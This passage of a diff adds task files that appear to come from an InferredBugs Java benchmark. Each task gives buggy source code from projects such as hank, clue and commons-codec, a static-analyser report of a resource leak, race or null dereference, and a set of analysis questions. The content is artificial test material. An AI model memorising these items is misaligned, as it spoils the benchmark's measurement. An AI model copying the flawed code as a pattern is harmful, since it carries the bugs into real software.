+  private final String name;
+  private final Set<String> emailTargets;
+  private final Thread notifierThread;
+  private final NotificationFormatter notificationFormatter;
+
+  private final List<Notification> notifications = new ArrayList<Notification>();
+
+  public EmailSummaryNotifier(String name,
+                              Set<String> emailTargets,
+                              NotificationFormatter notificationFormatter) {
+    this.name = name;
+    this.emailTargets = emailTargets;
+    this.notificationFormatter = notificationFormatter;
+    this.notifierThread = new Thread(new Runnable() {
+      @Override
+      public void run() {
+        while (true) {
+          synchronized (notifications) {
+            if (notifications.size() > 0) {
+              notifySummary();
+            }
+          }
+          try {
+            Thread.sleep(EMAIL_SUMMARY_FREQUENCY);
+            // Interrup to stop the notification loop
+          } catch (InterruptedException e) {
+            // Notify what is left before stopping
+            notifySummary();
+            break;
+          }
+        }
+      }
+    }, this.getClass().getSimpleName() + " notifier thread");
+    notifierThread.start();
+  }
+
+  @Override
+  public void stop() {
+    if (notifierThread != null) {
+      notifierThread.interrupt();
+      try {
+        notifierThread.join();
+      } catch (InterruptedException e) {
+        throw new RuntimeException(e);
+      }
+    }
+  }
+
+  private void notifySummary() {
+    StringBuilder summary = new StringBuilder();
+    synchronized (notifications) {
+      LOG.info("Sending Monitor email to " + emailTargets + " containing " + notifications.size() + " notifications.");
+      for (Notification notification : notifications) {
+        summary.append(notification.format(notificationFormatter));
+        summary.append('\n');
+      }
+      notifications.clear();
+    }
+    try {
+      sendEmails(emailTargets, summary.toString());
+    } catch (Exception e) {
+      throw new RuntimeException("Exception while sending email notification.", e);
+    }
+  }
+
+  private void sendEmails(Set<String> emailTargets, String body) throws IOException, InterruptedException {
+    for (String emailTarget : emailTargets) {
+      String[] command = {"/bin/mail", "-s", "Hank: " + name, emailTarget};
+      Process process = Runtime.getRuntime().exec(command);
+      OutputStreamWriter writer = new OutputStreamWriter(process.getOutputStream());
+      writer.write(body);
+      writer.close();
+      process.getOutputStream().close();
+      process.waitFor();
+    }
+  }
+
+  @Override
+  public void notify(Notification notification) {
+    synchronized (notifications) {
+      notifications.add(notification);
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.lang.Process` acquired to `process` by call to `exec(...)` at line 101 is not released after line 108.
+**Note**: potential exception at line 103
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void EmailSummaryNotifier.sendEmails(Set,String)
+
+### Procedure Id:
+com.rapleaf.hank.monitor.notifier.EmailSummaryNotifier.sendEmails(java.util.Set,java.lang.String):vo.f6891340b61d2b935b63ce431d21a087
+
+### File:
+src/java/com/rapleaf/hank/monitor/notifier/EmailSummaryNotifier.java
+
+### Key:
+EmailSummaryNotifier.java|sendEmails|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+2daad386310c3d68391e51aad9ebb427
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3188/instruction.md b/inferredbugs-3188/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..608d08e2d7d8b61bc85fb1ad5d5288a1a05f691c
--- /dev/null
+++ b/inferredbugs-3188/instruction.md
@@ -0,0 +1,330 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** hank
+**Bug ID:** 21
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Copyright 2011 Rapleaf
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package com.rapleaf.hank.client;
+
+import com.rapleaf.hank.coordinator.Host;
+import com.rapleaf.hank.coordinator.HostStateChangeListener;
+import com.rapleaf.hank.generated.HankBulkResponse;
+import com.rapleaf.hank.generated.HankResponse;
+import com.rapleaf.hank.generated.PartitionServer;
+import org.apache.log4j.Logger;
+import org.apache.thrift.TException;
+import org.apache.thrift.protocol.TCompactProtocol;
+import org.apache.thrift.protocol.TProtocol;
+import org.apache.thrift.transport.TFramedTransport;
+import org.apache.thrift.transport.TSocket;
+import org.apache.thrift.transport.TTransport;
+import org.apache.thrift.transport.TTransportException;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.ReentrantLock;
+
+public class HostConnection implements HostStateChangeListener {
+
+  private static final Logger LOG = Logger.getLogger(HostConnection.class);
+
+  private final int tryLockTimeoutMs;
+  private final int establishConnectionTimeoutMs;
+  private final int queryTimeoutMs;
+  private final int bulkQueryTimeoutMs;
+  private TSocket socket;
+  private TTransport transport;
+  private PartitionServer.Client client;
+  private final Host host;
+  private final Object stateChangeMutex = new Object();
+  protected final ReentrantLock lock = new ReentrantLock(true); // Use a fair ReentrantLock
+  private HostConnectionState state = HostConnectionState.DISCONNECTED;
+
+  private static enum HostConnectionState {
+    CONNECTED,
+    DISCONNECTED,
+    // STANDBY: we are waiting for the host to be SERVING
+    STANDBY
+  }
+
+  // A timeout of 0 means no timeout
+  public HostConnection(Host host,
+                        int tryLockTimeoutMs,
+                        int establishConnectionTimeoutMs,
+                        int queryTimeoutMs,
+                        int bulkQueryTimeoutMs) throws TException, IOException {
+    this.host = host;
+    this.tryLockTimeoutMs = tryLockTimeoutMs;
+    this.establishConnectionTimeoutMs = establishConnectionTimeoutMs;
+    this.queryTimeoutMs = queryTimeoutMs;
+    this.bulkQueryTimeoutMs = bulkQueryTimeoutMs;
+    host.setStateChangeListener(this);
+    onHostStateChange(host);
+  }
+
+  Host getHost() {
+    return host;
+  }
+
+  boolean isAvailable() {
+    return state != HostConnectionState.STANDBY;
+  }
+
+  private boolean isDisconnected() {
+    return state == HostConnectionState.DISCONNECTED;
+  }
+
+  private void lock() {
+    lock.lock();
+  }
+
+  private void unlock() {
+    lock.unlock();
+  }
+
+  boolean tryLockRespectingFairness() {
+    try {
+      // Note: tryLock() does not respect fairness, using tryLock(0, unit) instead
+      return lock.tryLock(0, TimeUnit.MILLISECONDS);
+    } catch (InterruptedException e) {
+      return false;
+    }
+  }
+
+  private boolean tryLockWithTimeout() {
+    // If configured timeout is 0, wait indefinitely
+    if (tryLockTimeoutMs == 0) {
+      lock();
+      return true;
+    }
+    // Otherwise, perform a lock with timeout. If interrupted, simply report that we failed to lock.
+    try {
+      return lock.tryLock(tryLockTimeoutMs, TimeUnit.MILLISECONDS);
+    } catch (InterruptedException e) {
+      return false;
+    }
+  }
+
+  public HankResponse get(int domainId, ByteBuffer key) throws IOException {
+    // Lock the connection only if needed
+    if (!lock.isHeldByCurrentThread()) {
+      // Try to lock within a given timeframe
+      if (!tryLockWithTimeout()) {
+        throw new IOException("Exceeded timeout while trying to lock the host connection.");
+      }
+    }
+    try {
+      // Connect if necessary
+      if (isDisconnected()) {
+        connect();
+      }
+      // Check availability
+      if (!isAvailable()) {
+        throw new IOException("Connection to host is not available (host is not serving).");
+      }
+      // Query timeout is by default always set to regular mode
+      // Perform query
+      return client.get(domainId, key);
+    } catch (TException e) {
+      // Disconnect and give up
+      disconnect();
+      throw new IOException("Failed to execute get()", e);
+    } finally {
+      unlock();
+    }
+  }
+
+  public HankBulkResponse getBulk(int domainId, List<ByteBuffer> keys) throws IOException {
+    // Lock the connection only if needed
+    if (!lock.isHeldByCurrentThread()) {
+      // Try to lock within a given timeframe
+      if (!tryLockWithTimeout()) {
+        throw new IOException("Exceeded timeout while trying to lock the host connection.");
+      }
+    }
+    try {
+      // Connect if necessary
+      if (isDisconnected()) {
+        connect();
+      }
+      try {
+        // Check availability
+        if (!isAvailable()) {
+          throw new IOException("Connection to host is not available (host is not serving).");
+        }
+        // Set socket timeout to bulk mode
+        setSocketTimeout(bulkQueryTimeoutMs);
+        // Perform query
+        return client.getBulk(domainId, keys);
+      } finally {
+        // Set socket timeout back to regular mode
+        setSocketTimeout(queryTimeoutMs);
+      }
+    } catch (TException e) {
+      // Disconnect and give up
+      disconnect();
+      throw new IOException("Failed to execute getBulk()", e);
+    } finally {
+      unlock();
+    }
+  }
+
+  private void disconnect() {
+    if (transport != null) {
+      transport.close();
+    }
+    socket = null;
+    transport = null;
+    client = null;
+    state = HostConnectionState.DISCONNECTED;
+  }
+
+  private void connect() throws IOException {
+    if (LOG.isTraceEnabled()) {
+      LOG.trace("Trying to connect to " + host.getAddress());
+    }
+    // Use connection timeout to connect
+    socket = new TSocket(host.getAddress().getHostName(),
+        host.getAddress().getPortNumber(),
+        establishConnectionTimeoutMs);
+    transport = new TFramedTransport(socket);
+    try {
+      transport.open();
+      // Set socket timeout to regular mode
+      setSocketTimeout(queryTimeoutMs);
+    } catch (TTransportException e) {
+      LOG.error("Failed to establish connection to host.", e);
+      disconnect();
+      throw new IOException("Failed to establish connection to host.", e);
+    }
+    TProtocol proto = new TCompactProtocol(transport);
+    client = new PartitionServer.Client(proto);
+    if (LOG.isTraceEnabled()) {
+      LOG.trace("Connection to " + host.getAddress() + " opened.");
+    }
+    state = HostConnectionState.CONNECTED;
+  }
+
+  private void setSocketTimeout(int timeout) {
+    if (socket != null) {
+      socket.setTimeout(timeout);
+    }
+  }
+
+  @Override
+  public void onHostStateChange(Host host) {
+    synchronized (stateChangeMutex) {
+      try {
+        switch (host.getState()) {
+          case SERVING:
+            lock();
+            try {
+              disconnect();
+              connect();
+            } finally {
+              unlock();
+            }
+            break;
+
+          default:
+            lock();
+            try {
+              disconnect();
+              state = HostConnectionState.STANDBY;
+            } finally {
+              unlock();
+            }
+        }
+      } catch (IOException e) {
+        LOG.error("Exception while trying to get host state!", e);
+      }
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.rapleaf.hank.client.HostConnection.isAvailable` reads without synchronization from `this.com.rapleaf.hank.client.HostConnection.state`. Potentially races with write in method `HostConnection.onHostStateChange(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean HostConnection.isAvailable()
+
+### Procedure Id:
+com.rapleaf.hank.client.HostConnection.isAvailable():boolean.f5f18cbc2503094582c7c7a8af3500f5
+
+### File:
+src/java/com/rapleaf/hank/client/HostConnection.java
+
+### Key:
+HostConnection.java|isAvailable|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+4f7bb4a4954520106ab3f9e9df890293
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3189/instruction.md b/inferredbugs-3189/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f30c679bc108d335ec62d9901013234ce49cfcc6
--- /dev/null
+++ b/inferredbugs-3189/instruction.md
@@ -0,0 +1,355 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** hank
+**Bug ID:** 44
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ *  Copyright 2011 Rapleaf
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ */
+
+package com.rapleaf.hank.partition_server;
+
+import java.text.DecimalFormat;
+import java.util.Arrays;
+
+public class DoublePopulationStatisticsAggregator {
+
+  private static DecimalFormat format3 = new DecimalFormat("#.###");
+  private static DecimalFormat format1 = new DecimalFormat("#.#");
+  private static DecimalFormat format0 = new DecimalFormat("#");
+
+  private double minimum;
+  private double maximum;
+  private long numValues;
+  private double total;
+  private double[] deciles;
+
+  public DoublePopulationStatisticsAggregator() {
+    minimum = Double.MAX_VALUE;
+    maximum = Double.MIN_VALUE;
+    numValues = 0;
+    total = 0.0;
+    deciles = new double[]{0, 0, 0, 0, 0, 0, 0, 0, 0};
+  }
+
+  public DoublePopulationStatisticsAggregator(double minimum,
+                                              double maximum,
+                                              long numValues,
+                                              double total,
+                                              double[] deciles) {
+    if (deciles.length != 9) {
+      throw new RuntimeException("Invalid population statistics: num deciles =" + deciles.length);
+    }
+    this.minimum = minimum;
+    this.maximum = maximum;
+    this.numValues = numValues;
+    this.total = total;
+    this.deciles = deciles;
+  }
+
+  public void clear() {
+    minimum = Double.MAX_VALUE;
+    maximum = Double.MIN_VALUE;
+    numValues = 0;
+    total = 0.0;
+    Arrays.fill(deciles, 0);
+  }
+
+  public void aggregate(double minimum, double maximum, long numValues, double total, double[] deciles) {
+    if (numValues < 10 || deciles.length != 9) {
+      throw new RuntimeException("Invalid population statistics to aggregate. numValues="
+          + numValues + ", deciles.length=" + deciles.length);
+    }
+    if (this.numValues == 0) {
+      // Copy deciles directly
+      System.arraycopy(deciles, 0, this.deciles, 0, 9);
+    } else if (numValues == 0) {
+      // Do nothing
+    } else {
+      aggregateDeciles(this.deciles, this.numValues, this.getMaximum(),
+          deciles, numValues, maximum,
+          this.deciles);
+    }
+    if (maximum > this.maximum) {
+      this.maximum = maximum;
+    }
+    if (minimum < this.minimum) {
+      this.minimum = minimum;
+    }
+    this.numValues += numValues;
+    this.total += total;
+  }
+
+  public void aggregate(DoublePopulationStatisticsAggregator other) {
+    if (numValues == 0) {
+      // Copy deciles directly
+      System.arraycopy(other.deciles, 0, deciles, 0, 9);
+    } else if (other.numValues == 0) {
+      // Keep this deciles unchanged
+    } else {
+      // Aggregate both deciles
+      aggregateDeciles(this.deciles, this.numValues, this.getMaximum(),
+          other.deciles, other.numValues, other.getMaximum(),
+          this.deciles);
+    }
+    if (other.maximum > this.maximum) {
+      this.maximum = other.maximum;
+    }
+    if (other.minimum < this.minimum) {
+      this.minimum = other.minimum;
+    }
+    this.numValues += other.numValues;
+    this.total += other.total;
+  }
+
+  private static void aggregateDeciles(double[] decilesA, long numValuesA, double maximumA,
+                                       double[] decilesB, long numValuesB, double maximumB,
+                                       double[] outputDeciles) {
+    // Compute all deciles
+    ValueAndCount[] allDeciles = new ValueAndCount[2 * 10];
+    // Load all decile values and counts into one array
+    for (int i = 0; i < 9; ++i) {
+      allDeciles[i] = new ValueAndCount(decilesA[i], numValuesA);
+      allDeciles[i + 9] = new ValueAndCount(decilesB[i], numValuesB);
+    }
+
+    // Fake deciles to fill in voids
+    allDeciles[18] = new ValueAndCount(maximumA, numValuesA);
+    allDeciles[19] = new ValueAndCount(maximumB, numValuesB);
+
+    // Sort all deciles
+    Arrays.sort(allDeciles);
+
+    // Update deciles
+    final long numValuesCombined = 10 * (numValuesA + numValuesB);
+    long previousRank = 0;
+    int j = 0;
+    for (int i = 0; i < 9; ++i) {
+      final long decileRank = Math.round(getDecileRank(numValuesCombined, i + 1));
+      while (previousRank + allDeciles[j].count < decileRank) {
+        previousRank += allDeciles[j].count;
+        j += 1;
+      }
+
+      // j point to the current segment where the correct decile rank lies
+      if (j == 0) {
+        // For the first decile, consider all value to be equal (no interpolation)
+        outputDeciles[i] = allDeciles[j].value;
+      } else {
+        // Interpolate value for other deciles
+        outputDeciles[i] =
+            interpolateValueWithinValueAndCounts(allDeciles[j - 1].value,
+                allDeciles[j],
+                decileRank - previousRank);
+      }
+    }
+  }
+
+  public static double interpolateValueWithinValueAndCounts(double value, ValueAndCount segment, long indexInSegment) {
+    double remainder = (double) (indexInSegment + 1) / (double) segment.count;
+    return value + remainder * (segment.value - value);
+  }
+
+  public Double getMaximum() {
+    if (maximum == Double.MIN_VALUE) {
+      return null;
+    }
+    return maximum;
+  }
+
+  public Double getMinimum() {
+    if (minimum == Double.MAX_VALUE) {
+      return null;
+    }
+    return minimum;
+  }
+
+  public double getMean() {
+    if (numValues != 0) {
+      return total / numValues;
+    } else {
+      return 0;
+    }
+  }
+
+  public double[] getDeciles() {
+    return deciles;
+  }
+
+  public static String toString(DoublePopulationStatisticsAggregator populationStatistics) {
+    StringBuilder result = new StringBuilder();
+    result.append(populationStatistics.minimum);
+    result.append(' ');
+    result.append(populationStatistics.maximum);
+    result.append(' ');
+    result.append(populationStatistics.numValues);
+    result.append(' ');
+    result.append(populationStatistics.total);
+    for (int i = 0; i < 9; ++i) {
+      result.append(' ');
+      result.append(populationStatistics.deciles[i]);
+    }
+    return result.toString();
+  }
+
+  public static String formatDouble(double value) {
+    if (value < 1) {
+      return format3.format(value);
+    } else if (value < 100) {
+      return format1.format(value);
+    } else {
+      return format0.format(value);
+    }
+  }
+
+  public String format() {
+    StringBuilder result = new StringBuilder();
+    // Compute median on the fly
+    double median = numValues == 0 ? 0 : deciles[4];
+    // Compute 90% percentile on the fly
+    double ninetiethPercentile = numValues == 0 ? 0 : deciles[8];
+    result.append(formatDouble(getMean()));
+    result.append(" / ");
+    result.append(formatDouble(median));
+    result.append(" / ");
+    result.append(formatDouble(ninetiethPercentile));
+    result.append(" ms");
+    return result.toString();
+  }
+
+  public static class ValueAndCount implements Comparable<ValueAndCount> {
+
+    public final double value;
+    public final long count;
+
+    public ValueAndCount(double value, long count) {
+      this.value = value;
+      this.count = count;
+    }
+
+    @Override
+    public int compareTo(DoublePopulationStatisticsAggregator.ValueAndCount other) {
+      return Double.compare(value, other.value);
+    }
+
+    @Override
+    public String toString() {
+      return value + "(" + count + ")";
+    }
+  }
+
+  public static double getSortedPopulationDecile(double[] population, int decile) {
+    return getInterpolatedValueAtIndex(population, getDecileRank(population.length, decile));
+  }
+
+  public static double getSortedPopulationDecile(long[] population, int decile) {
+    return getInterpolatedValueAtIndex(population, getDecileRank(population.length, decile));
+  }
+
+  public static double getDecileRank(long size, int decile) {
+    if (decile < 1 || decile > 9) {
+      throw new RuntimeException("Invalid decile: " + decile);
+    }
+    if (size < 10) {
+      throw new RuntimeException("Population is too small to compute deciles. Size: " + size);
+    }
+    return ((size / 10.0) * decile) - 1;
+  }
+
+  public static double getInterpolatedValueAtIndex(double[] population, double rank) {
+    double rankFloored = Math.floor(rank);
+    double remainder = rank - rankFloored;
+
+    // Return interpolated value at index
+    return population[(int) rankFloored] + (remainder * (population[(int) rankFloored + 1] - population[(int) rankFloored]));
+  }
+
+  public static double getInterpolatedValueAtIndex(long[] population, double rank) {
+    double rankFloored = Math.floor(rank);
+    double remainder = rank - rankFloored;
+
+    // Return interpolated value at index
+    return population[(int) rankFloored] + (remainder * (population[(int) rankFloored + 1] - population[(int) rankFloored]));
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getMaximum()` could be null and is dereferenced at line 98.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DoublePopulationStatisticsAggregator.aggregate(DoublePopulationStatisticsAggregator)
+
+### Procedure Id:
+com.rapleaf.hank.partition_server.DoublePopulationStatisticsAggregator.aggregate(com.rapleaf.hank.pa.a5278a249dcc942610ca2ff7ca81ad54
+
+### File:
+src/java/com/rapleaf/hank/partition_server/DoublePopulationStatisticsAggregator.java
+
+### Key:
+DoublePopulationStatisticsAggregator.java|aggregate|NULL_DEREFERENCE
+
+### Node Key:
+4e40cf4b057cfc6102ca2104f1fe79e1
+
+### Hash:
+8a1333aeba657aa31f2e7306385b6215
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3250/instruction.md b/inferredbugs-3250/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5304219a03d0b20c679f550f379e79ddde65c8a2
--- /dev/null
+++ b/inferredbugs-3250/instruction.md
@@ -0,0 +1,192 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** clue
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.senseidb.clue.commands;
+
+import java.io.PrintStream;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.TreeMap;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.apache.lucene.index.AtomicReader;
+import org.apache.lucene.index.AtomicReaderContext;
+import org.apache.lucene.index.IndexReader;
+import org.apache.lucene.index.Terms;
+import org.apache.lucene.index.TermsEnum;
+import org.apache.lucene.util.BytesRef;
+
+import com.senseidb.clue.ClueContext;
+
+public class TermsCommand extends ClueCommand {
+
+  public TermsCommand(ClueContext ctx) {
+    super(ctx);
+  }
+
+  @Override
+  public String getName() {
+    return "terms";
+  }
+
+  @Override
+  public String help() {
+    return "gets terms from the index";
+  }
+
+  @Override
+  public void execute(String[] args, PrintStream out) throws Exception {
+    String field = null;
+    String termVal = null;
+    try{
+      field = args[0];
+    }
+    catch(Exception e){
+      field = null;
+    }
+    
+    if (field != null){
+      String[] parts = field.split(":");
+      if (parts.length > 1){
+        field = parts[0];
+        termVal = parts[1];
+      }
+    }
+    
+    IndexReader reader = ctx.getIndexReader();
+    List<AtomicReaderContext> leaves = reader.leaves();
+    TreeMap<BytesRef,TermsEnum> termMap = null;
+    HashMap<BytesRef,AtomicInteger> termCountMap = new HashMap<BytesRef,AtomicInteger>();
+    for (AtomicReaderContext leaf : leaves){
+      AtomicReader atomicReader = leaf.reader();
+      
+      Terms terms = atomicReader.fields().terms(field);
+      
+      if (terms == null) {
+        continue;
+      }
+      
+      if (termMap == null){
+        termMap = new TreeMap<BytesRef,TermsEnum>(terms.getComparator());
+      }
+      
+      
+      TermsEnum te = terms.iterator(null);
+      BytesRef termBytes;
+      if (termVal != null){
+        te.seekCeil(new BytesRef(termVal));
+        termBytes = te.term();
+      }
+      else{
+        termBytes = te.next();
+      }
+      
+      while(true){
+        if (termBytes == null) break;
+        AtomicInteger count = termCountMap.get(termBytes);
+        if (count == null){
+          termCountMap.put(termBytes, new AtomicInteger(te.docFreq()));
+          termMap.put(termBytes, te);
+          break;
+        }
+        count.getAndAdd(te.docFreq());
+        termBytes = te.next();
+      }
+    }
+    
+    while(!termMap.isEmpty()){
+      Entry<BytesRef,TermsEnum> entry = termMap.pollFirstEntry();
+      if (entry == null) break;
+      BytesRef key = entry.getKey();
+      AtomicInteger count = termCountMap.remove(key);
+      out.println(key.utf8ToString()+" ("+count+") ");
+      TermsEnum te = entry.getValue();
+      BytesRef nextKey = te.next();
+      while(true){
+        if (nextKey == null) break;
+        count = termCountMap.get(nextKey);
+        if (count == null){
+          termCountMap.put(nextKey, new AtomicInteger(te.docFreq()));
+          termMap.put(nextKey, te);
+          break;
+        }
+        count.getAndAdd(te.docFreq());
+        nextKey = te.next();
+      }
+    }
+    out.flush();
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `termMap` last assigned on line 56 could be null and is dereferenced at line 95.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TermsCommand.execute(java.lang.String[],PrintStream)
+
+### Procedure Id:
+com.senseidb.clue.commands.TermsCommand.execute(java.lang.String[],java.io.PrintStream):void.fce91dbab6b29c42850099041c10f10d
+
+### File:
+src/main/java/com/senseidb/clue/commands/TermsCommand.java
+
+### Key:
+TermsCommand.java|execute|NULL_DEREFERENCE
+
+### Node Key:
+e8a96df7661c2dd3e2ce04d9c5e32cd4
+
+### Hash:
+7a92e3ad017e2d797f33a55f4735ff7e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3312/instruction.md b/inferredbugs-3312/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ad9572cdcd03e794bd337a9c7a022bc176939bba
--- /dev/null
+++ b/inferredbugs-3312/instruction.md
@@ -0,0 +1,1332 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-codec
+**Bug ID:** 50
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.codec.binary;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.math.BigInteger;
+import java.util.Arrays;
+import java.util.Random;
+
+import org.apache.commons.codec.Charsets;
+import org.apache.commons.codec.DecoderException;
+import org.apache.commons.codec.EncoderException;
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * Test cases for Base64 class.
+ *
+ * @see <a href="http://www.ietf.org/rfc/rfc2045.txt">RFC 2045</a>
+ * @version $Id$
+ */
+public class Base64Test {
+
+    private final Random random = new Random();
+
+    /**
+     * @return Returns the random.
+     */
+    public Random getRandom() {
+        return this.random;
+    }
+
+    /**
+     * Test the isStringBase64 method.
+     */
+    @Test
+    public void testIsStringBase64() {
+        final String nullString = null;
+        final String emptyString = "";
+        final String validString = "abc===defg\n\r123456\r789\r\rABC\n\nDEF==GHI\r\nJKL==============";
+        final String invalidString = validString + (char)0; // append null character
+
+        try {
+            Base64.isBase64(nullString);
+            fail("Base64.isStringBase64() should not be null-safe.");
+        } catch (final NullPointerException npe) {
+            assertNotNull("Base64.isStringBase64() should not be null-safe.", npe);
+        }
+
+        assertTrue("Base64.isStringBase64(empty-string) is true", Base64.isBase64(emptyString));
+        assertTrue("Base64.isStringBase64(valid-string) is true", Base64.isBase64(validString));
+        assertFalse("Base64.isStringBase64(invalid-string) is false", Base64.isBase64(invalidString));
+    }
+
+    /**
+     * Test the Base64 implementation
+     */
+    @Test
+    public void testBase64() {
+        final String content = "Hello World";
+        String encodedContent;
+        byte[] encodedBytes = Base64.encodeBase64(StringUtils.getBytesUtf8(content));
+        encodedContent = StringUtils.newStringUtf8(encodedBytes);
+        assertEquals("encoding hello world", "SGVsbG8gV29ybGQ=", encodedContent);
+
+        Base64 b64 = new Base64(BaseNCodec.MIME_CHUNK_SIZE, null);  // null lineSeparator same as saying no-chunking
+        encodedBytes = b64.encode(StringUtils.getBytesUtf8(content));
+        encodedContent = StringUtils.newStringUtf8(encodedBytes);
+        assertEquals("encoding hello world", "SGVsbG8gV29ybGQ=", encodedContent);
+
+        b64 = new Base64(0, null);  // null lineSeparator same as saying no-chunking
